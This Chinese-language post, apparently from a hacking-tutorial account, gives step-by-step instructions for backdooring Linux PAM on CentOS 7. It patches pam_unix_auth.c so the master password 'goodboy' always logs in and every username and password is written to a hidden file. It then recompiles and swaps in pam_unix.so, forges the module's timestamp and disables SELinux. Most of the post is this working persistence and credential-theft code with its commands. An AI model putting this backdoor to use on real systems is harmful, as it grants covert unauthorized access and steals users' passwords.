linux单用户登录修改root密码(内网技巧-Linux权限维持之PAM万能密码登录)
linux单用户登录修改root密码(内网技巧-Linux权限维持之PAM万能密码登录)Centos7 root权限PAM版本1.1.8PAM包下载地址:http://www.linux-pam.org/library/简而言之,PAM中包含Linux的登录认证模块,并且Linux开源,所以我们便可以修改认证文件中的代码逻辑,实现权限维持。查看pam版本:查看系统版本
大家好!我是黑客Anony
关注我的黑客Anony
可免费领取全套网络安全渗透视频教程,配套攻防靶场。
PAM(Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。
简而言之,PAM中包含Linux的登录认证模块,并且Linux开源,所以我们便可以修改认证文件中的代码逻辑,实现权限维持。
查看pam版本:
- getconf LONG_BIT
- cat /etc/redhat-release
- rpm -qa | grep pam
- apt-get list --installed | grep pam
查看系统版本
- cat /etc/issue
- cat /etc/*-release
- cat /etc/lsb-release
- cat /etc/redhat-release
PAM包下载地址:
http://www.linux-pam.org/library/
实验环境:
Centos7 root权限
PAM版本1.1.8
安装gcc
yum install gcc
首先下载对应版本的PAM包,解压
- http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
修改moudles/pam_unix/pam_unix_auth.c文件,修改处位于180行
改成如下代码,代码很简单。修改判断逻辑,并且记录管理员的登录到/usr/share/java/.null中
代码
if(strcmp(p "goodboy")==0)
{
retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS)
{
FILE *fp = fopen("/usr/share/java/.null" "a ");
fprintf(fp "%s::%s\n" name p);
fclose(fp);
}
修改完后在Linux-PAM-1.1.8.tar.gz 目录中执行./configure && make
OK 遇到yywrap未定义引用不要慌,执行
yum install flex-devel flex
重新./configure && make
编译好的文件在modules/pam_unix/.libs/中
随后替换 pam_unix.so文件,系统原本的认证文件为/lib64/security/pam_unix.so
32位系统为/lib/security/pam_unix.so
备份
cp -af /lib64/security/pam_unix.so /opt/
用编译好的pam_unix.so文件替换
cp -af pam_unix.so /lib64/security/
修改时间
touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so
随后关闭SElinux
vim /etc/selinux/config
SELINUX=disabled
使用goodboy密码顺利登录系统。当然我使用原本root的密码也能登录,并且会被记录在/usr/share/java/.null中
来源:https://xz.aliyun.com/t/8618
好,今天的分享就到这里。
更多互联网圈内消息,黑客教程,干货分享欢迎来同名公号【黑客Anony】